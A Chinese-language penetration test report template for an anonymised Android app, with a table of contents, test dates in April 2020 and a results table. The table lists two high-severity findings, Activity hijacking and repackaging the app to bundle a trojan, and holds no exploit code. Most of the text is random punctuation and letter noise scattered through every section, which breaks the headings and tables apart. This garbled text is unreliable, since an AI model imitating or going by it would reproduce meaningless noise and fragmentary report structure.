7 n( |& ]* H' j9 y6 u& C# t
+ B3 ^5 Q9 Q0 M6 Z) s
% _; U% W- b( R" P5 N) p, C( s6 Z: B) ^$ l
) i. X" o0 v$ f' G' r6 q* I
, c' J2 ]$ ?0 c9 W* L
2 x" H* ]) Z& f6 T: G. \8 b
% f) B- L0 j6 w5 y9 ^: c
' S* Q' J" G0 ?9 ]: }
, V. D1 Z: M: x* y2 B, f: u9 k! D& { 2 S- l5 I* Q: Q* G
9 a7 a- h% z0 A
文档编号:
5 O8 v5 s( u8 c* T5 q! ~7 Z3 n! O ~
( d, D& t$ r, E% B6 l. ]' M) m& g) ]# A9 `1 I, j/ O
1 A, P. v5 i( T5 F" F# U3 v: Z9 m8 W) h1 M
/ l9 J2 s) O6 l; D w+ z; e ?8 B* c8 Y5 C" Y
) @8 s' R8 L0 P' f
0 }+ g: N* a( i: w" v5 _
0 Z! p. B' F6 b! o, z, D4 r4 }, e) b: N+ }9 S( [. p
# h9 v( Y4 W; k n" l* g& p
5 G8 I/ E5 ~% _: z! e: P
2 n( G8 n8 s8 }! \2 X
' F6 t5 f4 \2 E7 v: P$ x/ c; r # H/ \$ Q1 T7 x0 l9 N6 i& y6 ^' D9 B# u
! m/ V; x+ U1 T! _
# M6 P. J) J. }3 M* {% H4 i; {& c. |4 h1 Z" I9 l
; }( D. G5 f+ T0 L3 a% M+ T# ?5 `5 P
& D* N1 u( R4 z$ w1 F6 w
6 \" M( j4 Y! a; G6 _: T- t' F5 A
$ }7 T' ]7 z/ d2 Q+ p9 N0 y- G9 Y* F4 F1 w7 v+ ~" g: n
1 ]& k9 Y# }) h/ ?* x Y2 S4 w1 R; m# ?
5 y. {, V/ j5 `. S x6 o$ Q- n 5 v9 r/ q2 m$ E) C
* q0 F$ b7 D. K0 d
9 `# ]) z4 \6 n8 f, w( w! U# a6 [" i9 T1 e3 U
+ b) P/ U: e( w; h8 _& W
# T) p! a+ E) J3 ]7 D" r 2 A/ Y& W! h4 E/ h
, C7 Z, O! R0 g+ e+ @ 某某某APP渗透测试 . H" L) Q$ s6 e" d
) {/ N( }( c2 [. u
E Y# ^( [# m
5 l1 A" p# r+ E" s ( t$ x, T9 x$ o! m# e
8 x5 x2 j X6 X: U$ M. G
% _4 t- |1 n; h6 o. \1 k% w; T$ W/ r+ i5 H2 ~, j/ L: j
9 |9 O$ T- k8 B
) Z- _$ j# E; G- r 9 @) C. O0 e2 H9 z# N
0 H& t% D/ l6 R% Y0 F* K
2 e8 x4 k! x" i k' |" g2 G J! P0 f7 [5 g& |$ l- t" X
' }" Y( f) N! M% T8 x# ]
7 [# Y* \) N* b
- N4 \$ H* Y1 l" \; O+ n% l( g& E$ @
" _, t$ B& _0 V * X: ?" w3 G s) i5 l+ @: ^$ _
: a! f$ c, H* `! i
- A2 Y& S( f& [& J# U
8 }5 y0 r* E2 _& T; q! e+ L4 b 8 M6 W: \2 y" l M
+ J" Q! G" U% o' P- l& n' q. j$ n6 B5 w - F; G' i8 o1 N2 ^+ w+ j
0 P7 O- @' \+ ~6 T3 x9 \
E! I" `0 D0 s. Z, s/ C4 I
4 G9 f+ z' @. n6 b
A5 w$ `) o) `" M2 b- _! v. j
2 k# y* `( Q, J+ h/ u7 v" ~+ b
技 术 报 告
\. I; S _% _( e& J
~3 E; D) m1 W# x) Z7 m1 l3 G& `# S
- u& ^$ U0 s) K$ M: P
5 A* g8 ~8 p5 K( h ) @& b3 G9 N9 ^2 Q0 k4 U
3 r) g w' o0 ]' I& J
5 w) A5 d( W! c; t' U4 Z2 r5 G6 { }9 n) U
: o% P Z, W: k+ [
6 s1 q5 x7 k- r6 h6 l7 E& p" j* h : \7 a) h( O% U! N- F' F
3 \ l. r6 _2 q
/ V. W) w) u8 J# i0 T. |
# a# z" c' A6 ~+ g
f8 f; y: G- g7 K1 G
, z. b" Y, K5 K) L6 E 0 ?6 ~# @% C; ^. v/ } v
' e6 `9 R1 ?7 j8 x' x! F! A; g7 ~ 7 Z! ?/ G. M) r: {4 _
; U! j( ~; U$ `* f6 Q
U9 ^, k( Z/ H L/ T+ B' g- r+ s J9 A/ r1 h
! c. t0 a0 ?; m3 ^4 N
7 M. ]5 J3 t" d
& O( b6 g2 v3 W# f7 j, x- P
+ Z3 F) q. F* ?# \( Q0 A: B( G
' v" r1 Q* D G; B5 h% m4 y2 h8 O1 i
u. u. h6 o F) `6 e
4 u$ M0 J8 \& H( [) y: e+ j0 s
3 O: ?0 k9 M* A+ ?
& c G/ V( x# {* q6 z
8 v" j# L5 G5 g, s
( g% H4 R9 g! _1 M
6 d' b. {8 a) i+ ?! z! W/ j5 _# m @
' {1 c7 `/ G- ]) W L
; [# m8 ?* u" J5 |
% P' @3 a" W" j9 O1 Z1 c% Z
1 I' h& M& h* e# e5 I& W
% |8 T: I4 k) y* G6 V! u# C1 d
! g& w( J4 c* j/ a
3 A( ^7 M; } f" c- K a2 a2 A0 @ S
, i3 g5 @# j3 c4 H" C! }% {1 ?- p1 d7 H7 c- }$ _/ M% p& o; D
3 m0 X: @! f0 [4 Z% q! W
# Z K7 D! j) L* B7 i
- b, W2 J, q y$ v! B: |5 a: [% S$ ~
( L2 ~3 y. l2 x9 K; x3 _
5 V0 Y' b9 V3 c# x8 q5 d
7 h& p, e& d( ?. E, o2 t9 n; C4 s9 x6 b- y$ w! z5 k E4 E
0 `$ X$ m) x5 _8 y1 p- X
( N' z% n1 ~* V/ e5 l
" T' V: A/ ~1 w9 A; h. C% b
- e5 F* a v, [- o 3 B4 d2 E1 u& m! p' N, l5 {
- \! m0 I) i$ A; X# n D0 ~1 G1 B% x. a! g
# ~* b: N. `. T# m( v3 S9 t. G: v5 N4 {
; @$ f9 z2 L6 g, U- L8 I4 S/ J$ E7 U! m, D
% Q' V" u+ m. b4 L' d" L
& t! E8 @/ }3 [- k, g- U8 Q6 n0 H
4 l6 n# Q) V# [! J2 I( _5 U8 t
2 W: [6 t. L# X8 |0 _6 [& [
) w9 T7 v1 e# m+ _0 ], a8 J6 Y- g, g! i/ ~0 \0 w
8 H9 b* i5 `' i1 K0 j/ c2 ~8 z5 w1 L2 y# R
6 @3 |9 ^' Q% {+ Z3 N% G
$ D3 Q; H; j' Y& A, g ?% k4 A" T
. H3 w& F6 \4 \2 X3 @$ M7 F
; F; o7 \2 C& g" w' a: Q! {5 c8 [
/ X2 { \) |! ^4 V" z# f( v" G4 b- w! y: l" i9 N+ [
7 N" |" M$ e, L; u b$ T
, U6 [7 U8 }+ S4 o0 H+ _# T
! m' y- W/ b A! w1 N; R R" d
$ z1 \/ C) a6 H) J ) w' R @+ k, `2 }) Q
/ \; {$ m2 O8 o: b0 V5 y" w5 C- B, H
0 O5 l/ n' f4 L/ y; {$ x# X8 _2 H* [
) j: f" M5 L/ H5 E9 U; C- z' B% t/ K% o: ~8 f! |" }/ b4 L1 {
; T; h y( _$ ~4 x% \; Z0 n# {( f# x `( ~( E* p
- L9 X: q' ]0 q
4 i8 z6 |% `# Z) C9 P h5 C8 F
% G& i- d5 `+ I+ t0 T9 W
8 e( x3 M+ |+ `8 h5 Y$ T1 v
+ n- ^+ `/ l% p$ O) P. x9 z: p: O, w$ u* c5 x( O r, i v
* b) z/ u4 w$ \) j! Q, F$ J$ ?9 ~6 `+ A
9 i1 p- A+ `$ h" K
5 f8 {/ V8 K. U5 s2 \( [) G- ~9 D: F0 H1 S
) ?" y) J2 I7 P) z% R z* _/ o, O7 |/ g( k; X# X
) ^3 l0 K7 y# Y/ D. A
) M5 V# W# N2 s3 K; p$ ~1 f
' q9 j/ O# t! P# f2 W
7 k1 Y: i( k- G; x) j; ~6 ]
% p3 D: p! |" H
( p; C; [ C5 ]# [. `5 o3 A/ K
3 m3 \. Z. b6 `$ j) M$ _* ~. ?2 B5 M4 @2 a! i9 {3 c
) k$ z8 m8 i2 C* W
0 d6 ]# F2 W3 @ x " Z; J7 |& {. D0 R
/ M7 v" \& s' f. f& u7 L 二〇二〇年 8 N0 U* [0 I+ C; T
6 ?; h% D {) e/ I5 Y
}# ]7 q: C+ v% v' [4 T+ v
4 E9 L8 N2 U* }- I7 Q: J2 |
2 B9 _4 Z" T; ~9 c# i7 F! U2 s; n5 b, a
+ j4 q% C3 C. S% P- Q
: g' j# _. J2 c/ M) A( g8 {4 ?8 E5 P
" v; s& K* X6 B' E# ?- t8 Z8 ~* D* @2 O$ J% `) Z3 v6 G x
' H4 x; O$ \' _7 C
0 s1 w% I* E* B4 N$ q: K5 A6 I* p
% p* K% o$ Y# H9 L$ U, N* j
$ b6 W5 G8 c1 V
; r2 x- \+ V+ d, y
" {0 k! H" C- ~0 l! i8 n . p' w3 T8 Z( {! R$ K( Y9 L
" A) A- `: E. n7 {4 u( c' V3 O2 R
" y& E" y; a8 \7 S1 t i, s/ R. c, W" O0 S" n8 ^! `+ ~9 v
6 p" h$ Q( Z7 n& G! C9 }
] n8 ~' Z4 A; C 目 录 ! x6 @' M, S3 k. m3 i( Y3 z
# C# L* S2 H4 b5 k# ^/ W6 T
! s. [7 ~8 _+ [) Q) m5 _- @
1 ^1 O9 p' ]1 o& H) z0 u( ^% ~8 ]4 K$ `
! [# R* X' q/ j( ~
9 o. k/ y- ?$ t. y, A0 i2 z& h, y5 ] 4 k' h! R3 W+ l/ k; K& y" F
5 \- H1 d1 R; u" p 6 O: u) l0 ?* G
3 @5 j7 a) i+ Z! G
& w" o4 _) a8 G/ h I
) V8 C5 Y3 q+ W) x; I
i m! Q4 j2 k% q% I, i
8 N. ^% V; J5 t8 O+ i, ~' r+ h 1 概述... 3
8 H4 M% C0 T* M. j6 w/ g4 ?4 |3 ]9 \; {: Q( D; K. r1 N# p
* a; J: ?9 r0 Y0 d
) o6 d& N9 @/ }7 V* ^8 [ ! j8 k+ Q; ^6 }0 n/ P/ N9 ^: w
8 h! o1 {3 f' d4 _4 {" a$ t
1.2测试时间... 3 # i; A9 j, {/ H% P1 U, G+ f
. h# a* `0 O g
# O2 `7 e* }% f0 f/ {% N: J
4 g1 `' b! h) S ( w# M; b: v' ^' X8 S8 f
, i" u! Y" z) m0 c/ q
1.3测试对象... 3 * [& Y1 _: A& t
# J4 W/ \3 @8 V: N2 L1 v8 `
L* U/ G. B) C( K$ e
) }/ S6 |9 S; n! R8 g2 f% x& M
& ?: T) b/ _1 m7 H g9 ~. X
$ h9 w, \( H# Y: n 1.4测试结果... 3 : x. k3 `% w' r e
^5 g h' u$ G
, A9 y- N/ Y: U% o$ e* k0 R* R% g2 J
* [9 z# _8 e9 w
% b' d( D5 r7 a D 2 检测结果... 4 6 F, `! f1 D3 P6 e: j( p6 K' Y
& T* A! H8 Z/ ]5 g, x( m+ z8 Q7 o
7 W1 e2 }# [; ]5 o0 B
7 u& Y" z* v2 X* Z $ l# M4 Z2 N2 Y: z5 V! i3 ]6 k2 T) q( x( _
7 w8 g9 a" @1 N' o5 u$ O
2.1 某某某... 4 - m$ k3 h. G# ]' L5 y7 U( P
o- F% c8 }: d3 n, ~) x
E+ |% m' _- P* @) L: Y* A
' A6 @, |$ U6 }9 q
2 @. g" Q! r. y/ g5 `% D2 |& q: U" @; S
2.1.1检测目标... 4 - \0 h2 a; T/ j4 D! Y- l
$ p1 O- F/ a+ f; O6 J- Q4 I
, _6 E" R7 I( e" w- J* x: m
# k; a' k" Y. [! |) K! Y4 A5 W1 } - d7 J+ ?+ i+ w1 y, w8 b
% `8 U6 t6 o# F1 K! s: a9 B, J 2.1.2检测结果... 4
+ n/ F4 p% ?( [
! y2 R. Y/ x8 R) d
- \5 D+ P) n. ?" G. s# Y* C1 l# @% D+ t: J
" y c9 f% u8 |$ L' |. F6 @
, ]1 E0 w' n3 ?. H, x' j4 m
2.1.2.1. 4
: @0 e, D' U6 @6 |! ^( D, i* y
" }$ r3 z& M; y c# Y: M0 g7 d
# O, G; {9 L b [6 E
' m& C5 z, h* u% X: g# r1 {; B 4 y- F) J, ~1 i! i. J
4 U9 E0 p4 N @8 q! g7 R' g
2.1.2.2. 6
! y* r! f6 w; G* L/ Q+ K) y! a2 Q/ J% [4 ?, w! d
# Z t. |3 T" \' y8 D. N, L) D1 V4 E f' {6 Q+ j3 G2 t# E
" J( ^2 m. ?! b! e8 L5 b3 H3 A D
I4 a) x6 B) n( \; }4 _. X |2 K2 h! Y) h% T
/ h) j1 X" e( m `* E4 }
0 j# j2 y, @- m
1 Z- R* U6 D* g% v( Q9 N3 m0 F, K* l+ @- g; D b6 H
0 Q% h# i2 k" F: y( C, h5 x* P- j! ]7 @$ ~6 W& u
4 L: m2 n6 }5 D5 N1 B* i: t" {/ z
+ e: e. h: Z; {
+ r9 l! j6 q' f9 F
6 x4 q2 O1 H" I9 w* ]* ?7 v) d
9 S+ [ @3 m3 L) _6 t9 z, i" m' {: o% Q$ Y+ g U0 V
1 概述
5 s% ], J6 _) O# e6 G% J6 i8 C- }+ e! b- j" |
2 I ~8 X4 Q7 v3 z' f, ~/ y: R$ o
# v* \/ Z' O! ^/ ]$ G d w1 |2 C8 d1 O
+ m, {. d7 }+ w D) j" q% o4 Z: \
1.2测试时间
! B/ S2 f4 g4 ]& c0 @
0 T0 g* J3 r3 r$ |1 |& }
0 x- @. Q* o! t7 G2 v+ x4 k
7 D* w+ L( C, z: e
' l n/ M2 j9 _- @" Y9 J
" {) O* [6 L3 u. o) K, H5 W9 [
# Y$ L4 `2 ^4 E, [; j3 ]( ~0 l7 e
/ s3 q: `7 k6 ?$ T$ K9 c
( X8 V# B- Q8 Z Q+ a) U* ^# @
- q) M9 b3 |; n' U- g/ W4 m
' _6 ~- f3 y! s. D4 U% }, m- a, R; n: J
4 H/ k0 ^2 G" @: z3 T X0 ]' ~6 a
( ]1 l4 h3 t/ A 渗透测试时间
: K; B0 {; G f: G: s- P O0 D" M: t$ z. ]
2 h" N7 [9 I0 _5 f9 c- Z
! O' o3 [7 k: M: J; s( O/ E) N0 j( q
|
: o% r6 ^( C4 s3 v v7 d; p+ d7 d# n4 O6 b
) A* s+ ~8 \9 I( f
# T6 _2 Z' \' ^ k2 a7 z5 M# z
; w+ {0 ~+ r6 V2 y. w) ^4 N
' ]- N' Q. I" R6 V
D- h3 E6 T6 v# G, i3 y
5 p; Z% F* U) N3 K % P7 n$ w9 [5 O6 p4 E9 z$ E
+ q) J( x3 [/ a' Z
起始时间
1 U/ ~) @8 P: ^( E& W1 n1 x* t0 _2 R, O+ L+ R+ i
8 a3 R2 @) Y# F5 I2 Q
& O9 V" Z7 @+ G% j! e |
$ |" {: o+ s" |' ^2 { P
/ V; c! \2 _6 |0 U D7 }/ E3 k Y. X9 X
, ]7 y- {; O! @! A+ q
P# ?2 T1 t. U1 _ y d
6 G2 H- C% {" } 2020年4月6日
/ \' v2 U3 w$ q+ h1 _6 g4 C# f, @
# V7 n" |) {6 `! j! @ , a6 P3 r1 x; ]
. ?* q H4 h/ @. Q( A( s {
|
' _3 n. }& z! `; q c& ~2 b6 F# E9 _. q6 V8 g2 ?
9 e+ P7 F# C/ p( K& V4 H1 u" _+ t
5 o; p7 Y; M$ [! N! l! X- [ ' }$ h9 ^8 C$ S8 ?( V
! C3 \, K4 |, E1 ^
% u m3 U* E& h9 e5 {7 F
v, [5 ?2 |. m/ c
" b k. {4 b) v* E0 K3 |& h* F
6 y2 j2 h$ f& V) Y- T2 g 结束时间
$ z: K) Z r* _) ` o; G0 \: {9 d
3 t6 n3 f0 H$ S. G
$ g" M' [( M- a$ j+ q
| 7 H( Z! P6 Q9 q! P
* N5 [3 _, S0 p. o* R( y I 7 T: P) h+ b4 d6 n% w8 R! h
. e( z* V+ {) c: M% \; S( E ) M9 Z% c% J2 K
+ t3 M5 ]' ~: s0 q
2020年4月9日
" {7 ^! q X, `6 S0 G0 _$ V& E; i$ G: j6 y8 H2 w& p7 l
1 d% ]7 D8 C) [% s( W/ @1 }
9 I, k2 Q/ ?* d6 t4 f9 n
|
- P0 @/ B; \ ?: V
/ c1 `0 {; F6 P5 C
% |, i8 e) H: Q- y( w
' y+ I) w2 \3 D
! m+ a) D* q9 D0 c' i7 f3 O
" a5 B' I% d# H6 b2 G
! j1 u3 B; k' ~( L1 j1 H1 D( \& i! d9 `. \6 w/ L
* u+ Z" y* h' ^
8 a1 k' y5 v) E4 M
1.3测试对象
0 j5 E6 ^3 r8 x1 R' x0 x
. g! ^/ b) Y% o+ \% j
% f( X& c% s7 f6 p
$ w3 ~1 [; m+ ]( G
3 \0 G& D& O2 q0 V! r0 p9 |- r0 h
. z- \1 ?" g2 L3 K4 z1 Y+ q 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 6 R6 H7 K3 J$ H
+ g0 S. a4 \2 E
! c4 f7 Y3 `6 k
: x6 Z$ P7 K8 Q$ u9 _
9 V& z: {& |+ G- R7 k
, S6 {' c0 r* G# q, m( [1 h 表1-1 检测对象 ( O- s& S1 J2 t6 k6 a# C5 d
: C- ~1 v+ H3 Y
1 H# N) c% `; T9 X- r* Q
% Y( h: J r" v/ n/ ]+ Q
6 {1 }) ^" e1 A6 s* K# S. U9 E8 c' G+ C( C) e I1 q
" d; P# v3 G$ L
" o2 Q" b( u9 n& m i: s4 ]
- I) U0 j2 ]2 r% x$ u
& C# u# o' S2 r1 s
: D) c& ~; B5 A
. u0 a3 X. I$ @ a& W$ c* ^6 O7 n ~
- r' S, | q: n% j. l6 S0 J$ z 序号
. b3 n1 \* w* F0 a9 q
. K- o+ r1 ?7 ?2 S- N3 ^: A
S @, t' U8 S, w: g0 r
v* y: h* V+ C* e) M7 B, [+ a |
A3 u: O, T8 E' ]& F+ @' K' F# c. Z7 H! g' d
8 U/ d+ C' W# w; M, E
5 M! f7 d% g7 V
% ~ [1 U" R5 y5 n8 U- ?' S
, Z) [% r g5 H& a7 P7 X$ u
测试对象 9 }; O7 Q! C7 a6 U
6 z8 K1 l/ l- r' h- H
/ {! S* m& {* b
$ o" J1 h/ w& R+ {8 t2 P# A |
0 q/ z' R. }/ x
4 c3 w$ Q3 m( x: |- Y1 ~+ F 7 Q5 ?6 C w. U3 h, n9 s1 H8 u
5 x; @; j! h8 o I
* s# f9 y! ~- l: u O6 V6 v8 t9 j6 v1 K
测试地址
# n- m/ i2 K6 p3 e4 t5 f7 Y8 n5 q- G1 Q4 ~, i+ ~, T$ z
/ b% D+ R1 O* p
* w+ @; c1 |7 i% \3 p6 M( w |
/ }! o6 g8 U* B+ t. {3 `
, d5 P- m, y' H
; d# ~' c" W0 U$ M" n# |; t- I, F- c$ [1 l3 T: Y3 \
7 w v( d# b3 ?1 V0 h/ x
6 |" F2 f7 Q. c0 ]* e8 U 安全漏洞
6 o9 j4 N* O0 m7 o: F/ V5 b. V- v- H5 r9 f4 {# ?5 C" { u
1 @$ p& |$ n" {4 q0 B: o) B/ {
9 D, P4 R/ P9 {4 \+ K | . M8 s: X; t/ p
3 C3 D* a; \( Z+ O* \& o" x
& s" h& X' x; i& H+ G7 h" i
* }# s" T9 R$ t- ^8 z+ k
& c, j i" G$ R
: o" \7 k7 O2 a$ e- P
* d& p/ Z. q3 R. n5 Y/ N+ {
, ]5 A6 A0 ]4 F8 o! q! c# A6 i
0 [* R% [% b* V. O$ {
/ c9 {' T. q( e' y$ B 1
, }6 l7 E3 r; p1 A, L4 k* Q6 v: N9 z3 q3 e# `. J! ^- _
0 P- ]* q% v6 ] w' i" }# J8 k. t- s+ U% z6 s/ |
| 4 z, k" v( r, z$ W/ o+ F& L2 h+ M
5 z: X9 p) h" ] v4 M
8 N% l* H# n+ |) p/ ?$ J
5 B8 Z% M' w3 ?$ c* N% V
' v, H9 ^9 [% @1 ]
. J3 Y& F6 D5 M1 C 某某某安卓APP + D; J7 \1 r/ g4 E! w
I# F4 c4 l4 n: g: v' B( a2 r, ~9 U o+ Q6 T3 ]& ? _' k
, W# L% x) Y; [/ m# S% f% L* ] |
, ?8 Z W; Q" |5 ] a+ c. n
) @4 Z5 H* l3 y5 u0 z% i " v( t. |8 o4 I" x$ ?$ K( e
1 ~ `/ s# W& N, U4 r- R 7 P# a+ i( a+ @1 `# F9 ^( a$ }7 A
- C) q5 n8 ^% t6 U( p# N7 | 9 Z5 y+ i5 m7 i
5 L. N0 G7 N4 h$ J6 V c2 ?
3 |8 D. S; J# `; G v
( L' R w! Q( D& ]% O0 G- p0 ~ | u# B$ i6 A+ H; E7 Q6 P- |- O) m
# @% S8 E5 @% `* I) j* \, P + { A: f. | B
* n9 w. ] Q; X8 `
" m# V. k( S$ Q+ N; B: Y
* t* `8 T0 l$ f" x3 j
2 * @! X n8 O; s& p- e
* {* G* J" J$ G' M; Y; U & w' O" Q% j- E
# T! w, d. k2 \" Z- a
| 0 e/ \# O/ R2 T: L& p
; t. n+ W! d U6 k
; K1 r3 M2 S; ^- H" U5 ~' I$ W
) M. B) U, l2 Z7 _* }# J! t
; a, |( [* l1 a% r7 m, n& b+ G& P5 m4 c
8 ~, K+ W5 p# Y, e4 s$ L6 ?
; j! r/ ~8 R3 s" X) V / i( a9 \* t3 W. d; u
; S" L1 Z7 u! |- h/ |1 r0 m
1.4测试结果
. i3 x6 ~) N! O# ~" y- f5 n$ W2 ?/ X+ a- p, x3 ?& N+ X% r
4 i; H2 R* r; u6 W& T y. u% |/ v1 x
, _) _# y' @) w/ U
5 Y' W( Q! L a2 [8 n$ f
3 M2 |- E8 O! h" i% C4 @4 l; S 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
* m7 v+ N8 N; G( I3 S8 g8 Q
# M1 o/ e; q% d: D
( ^& K( c! }$ L5 G: ?
- x/ }0 X& Y+ O5 [1 u2 l5 G ) c' g* @# ~, ~7 v
Y9 f. |6 N9 Y+ D7 \ g( ]
( M. i' c! W8 u- f4 D F- @) u: k
/ _1 ]' b2 \" z! K) u4 Q+ R8 v- _
" Y# c: z- _" ]. @- @+ l! d
, w$ h) |- @- A& [' J
6 d# t4 V& W+ `% o1 F5 r7 f V0 Z" T9 n
$ P3 I3 w# `' C4 u! c
% U' G$ S1 f+ d! t
$ T7 {, S* k( C+ n# N
% i" Y8 o7 H6 Q! l+ r2 x8 d: D9 h 6 D! ]* U. t3 E s
) v( G. P0 H) W/ N% m
4 c( ~/ l: l* M3 ?% X; O9 }/ g% I
/ w1 Y% ]/ K$ n6 H! h
4 D/ d G& B ]; C- x% o+ g2 X% |( F- G, [: a- D( S
序号 & l2 I5 C% @0 W% D* a$ |) q
: X" ?$ d% l, [& i: B2 X
. c; V, f% M) n
9 Z3 v0 c3 |, b; H) i7 w; A | 8 o# h7 \9 H; C Z
( k. G' s$ G( `9 [8 R9 W 5 r: S# X- i) g/ y) F$ @4 h
2 [+ i) w0 Z+ m) J * Q2 v5 |$ Y& U+ O% q
( R% Y: v! e5 G1 R 系统名称 & @" n* }3 p5 m5 s l; q, a: A
" S* P6 l! d. H$ v
/ N: a5 d" G+ L9 a7 x0 `
2 v+ t) m; ~: v( }* |- l! n& a | + q6 R" c! z0 w# H' W& P M& g+ n# n
& d$ I9 B* W+ n7 H6 x' k
, I1 p% G b5 r6 v$ l: K0 m% h
6 N; j7 Z ?# `3 W0 i
. M6 o; `2 w! R0 E4 V6 m$ y+ z9 D
漏洞名称
4 v% n1 f1 C' U% C n' S/ g6 d
3 a8 L3 k' V$ _- L9 P7 {
" Q& A3 \! l% k! X. k& {$ B5 ]8 t; o: d. u
| + J/ Q Z2 W+ n. u8 f5 |" P
1 o# E, m- Q* `
! L$ P' D. e1 p, _0 u7 R% h' y5 J9 L1 o! R& f: A
" Y% h8 j/ ~) ?& p, H. C3 P
$ y9 Y& G z* B6 R9 y; U 漏洞危害 # |' h1 J: A' Z/ ~2 f( H
0 ^0 d+ i( T5 P( ~1 [ ' s; o x( N) K
9 T$ S2 l5 \: G | - }3 R- d G7 S. H7 j
, O8 a4 h6 g0 C8 e1 O, X9 b
; R) O+ R! k( `! e4 @
6 N4 D9 L6 h1 X: n
8 Q8 u6 H! M: q. F) l
/ l. N/ _0 V+ U! x( B 修复结果 7 J, G4 M( c1 s- {2 K7 z m" y
: y6 ]5 m6 |# g! s3 j
% v/ P2 H& X( G! S
. W% I1 x( h9 ]1 A% ]3 B) }) h | ' J$ s! ^0 M2 U: a
! I0 t0 @, l5 u& b
I' X/ c7 Q2 q
, L# C% W3 O/ }5 w* C6 T6 \* B: A
! o' `: k7 u8 S( H9 z" Q( y5 k8 e
) x1 T r- A2 Z ~6 r7 }4 l2 U$ r1 v- M3 u H# R& r( X
' y$ s* w( }- v: b F
' G+ |7 @! \# o& N# {4 j 1 , }5 R- H# ?. N' E% A
5 K9 Q# ?" J2 G+ L: ]8 F. s( `4 u
; i8 i0 }5 G7 }, g0 d4 h9 x
3 x5 d. H. J4 C1 L | / I9 D1 X% s9 m- m" Q3 O
" j+ f! p1 r0 x# b( _' \
% ^, H" S* u* F+ u8 ~# z6 {& s6 D* |% `
. K2 Z o4 t0 \- T
6 ^3 Y& l2 t" k6 M1 |8 b8 t! X
某某某某某某APP 6 ~) Q1 }3 }+ L4 g+ J: ~8 t& _% ]
" ~: l- a# H/ X9 C2 z: O
+ r3 V' _8 Z+ g7 m" E9 V W K' E7 g* H2 p
|
+ E% b! Z+ q: n7 K! s0 s3 S
" \1 b- k E3 G7 a' m9 W 2 `. e# w3 V; [( a* u6 B9 f
5 T; m& ]6 N7 W4 m9 ?' R
7 v. W! l; I; g5 s
% W# z' Q0 e4 `4 e Activity 劫持
8 L) ]4 g" g1 [+ [3 T5 n6 o! R- V6 p$ p: a) D. | s# M
# R% Z+ s/ u9 c: m
3 Q: s& R3 P" O
7 h/ c/ l* l& ?( V7 [+ n- |" e
1 c8 U6 `0 S; `
Q/ l7 K6 J4 l: d# O6 b: G
2 D5 b9 l0 o `1 j9 P# H
d4 r% M9 O5 g1 b A
1 Z# o r+ z' [! c | 2 d$ ]7 e5 z2 R: X: b; M% M8 G$ U
, O" G; \2 i" E( ^
8 ?2 B5 \* o5 |& h' P; [. o; k/ l% g7 g3 q
5 A( n) n, m$ [
2 f% @. O0 X( |: h' c7 |* R" j B* P2 @ 高 ' J, S" X! n* C) y
& J5 L) x8 i& ?: z J4 y
4 [5 v* {+ T' t0 F# D
1 U: D/ m/ n% r/ [/ M1 ?. c7 V( n | & h3 ]& t+ _1 [3 a+ C
5 \5 Q; B, t8 g
) g, {3 S$ O! O& B* u
0 k' A5 U, c K1 X0 c, |8 {+ v
8 p. r) R0 S( U# }3 j" M/ \- H6 @
" H& v2 X- t# Y3 ]0 {# K$ |
7 R$ l" H! r+ h' K1 b0 u" ` F
" H; K$ _% H/ h
/ r6 ~7 Y1 ~, R0 A$ s1 _) \4 {% f% T, ?4 j4 Q# W4 `
| L! D7 ~- n: v: ?7 \% ]+ a& g
& A0 z: ~. K- B: }- K
* W( H& H. e7 {9 J6 U+ c6 {
4 A* N' i; r# p. l: z* ] " I: L6 r) L/ ^1 ]* `" t+ N# e& p
4 D% u: O' y; u& J6 U3 I/ ^
- E A' _* w9 M7 D
6 ^' i7 }- [- P6 g6 H* N& A 0 q9 q2 A: g( V% R
; J/ Z0 }! y S 2
( c- I8 p8 ^5 T* \ F7 u2 [7 J B/ H- b' C, l' t4 h
+ i8 q2 W. s3 w; x* e% q' p0 T: x
+ Q# q2 L* F' s$ M- N | 4 l1 x- H6 I5 m* o' _% z
1 I& W; u$ f( y/ M% b
. \% n7 B* v2 A3 @6 ?2 U' b5 |( m, t' y
y8 B, X1 S/ x S# m. \9 Y. w# n- O, l' k7 _6 }# y3 m
某某某某某某APP / T& Y$ L3 D. P3 h8 w9 p/ u% A6 y$ _# b
5 y ~ Q; j) a8 ^2 C8 H9 e
) f% g1 |" H/ x, Y9 V, a" ?! r7 N b0 \$ a6 M# h
|
5 k5 m# P4 U# P- }1 E" \8 ~$ q- j: k- W1 W& {5 m7 x3 h, O% e. S
: I, K+ @& F' }3 k
4 }2 H$ Q- x% w& [! d/ [- J ( e$ ^# I1 H+ }* y/ |. J, e
) N9 i; `7 l4 a4 K 反编译二次打包捆绑木马、篡改APP代码 1 U8 @6 f, g) p% b- w
' [8 f! `) T7 z" Y! |
% R4 i: N6 ?7 \4 R
, q7 H+ |7 i4 E7 I | v# S) B. T) H# k
, m4 p; [% b4 V# O# x5 j2 r3 d5 | # c- j; s& [8 Q. t: |9 I) @) G
( a& c [; f. i, i/ I2 X
. d8 b( E' v* C$ S( O0 m" U
; {& C- \) B3 V' ] 高
6 F7 V& k% Y7 L& Q0 `* I, J4 B
* ?" p4 y- r8 G9 O! p9 F 6 v* i$ M9 k8 J" Q# J& o# a
! k. ^+ c! c6 B0 A& u |
4 A0 R# F3 k0 E( G
7 U& y$ \1 a' x) |8 g" \
( j1 L) |3 q, a0 V& K; _9 e
' b4 v2 L3 w5 A, M7 z6 B
9 x* u# K& B6 [6 X2 O8 f
( a7 L0 |$ }6 R+ h" Q5 i0 ^ $ h% T5 E; `; Y
) W2 W! a( U# Z9 u# q6 P Y
! E0 f, j1 y1 H* K+ _3 G5 D+ G
' S: Y4 U( H0 H4 n# D) y | 4 P/ I9 ]/ G4 k" D, t
$ h& _% ^+ c8 M# a5 \! N) m
9 f) u' l r- s- U* g6 Z
- }1 A8 i. J6 A" \7 k 2 H1 L* w/ Q0 w! @
$ z& |; n l: E
6 l# B$ P" q, q; O/ @
' ]- q, X; ?# W% I V
$ t. n0 L' b0 p" @* \1 |
. Y8 u" `' E8 a
5 ]3 [4 e X( e) N/ `8 ^0 o! V9 g: l8 o( X! Z$ o9 [5 a
; r8 w7 n! I0 k0 {
: _# e% O/ t0 V& D* b( m. f
; n4 ^, O# ^, ^0 q2 k3 ]1 W; h
8 U" t9 Q0 W1 L, K
) ~3 Y3 | W6 p1 v8 U B b& i
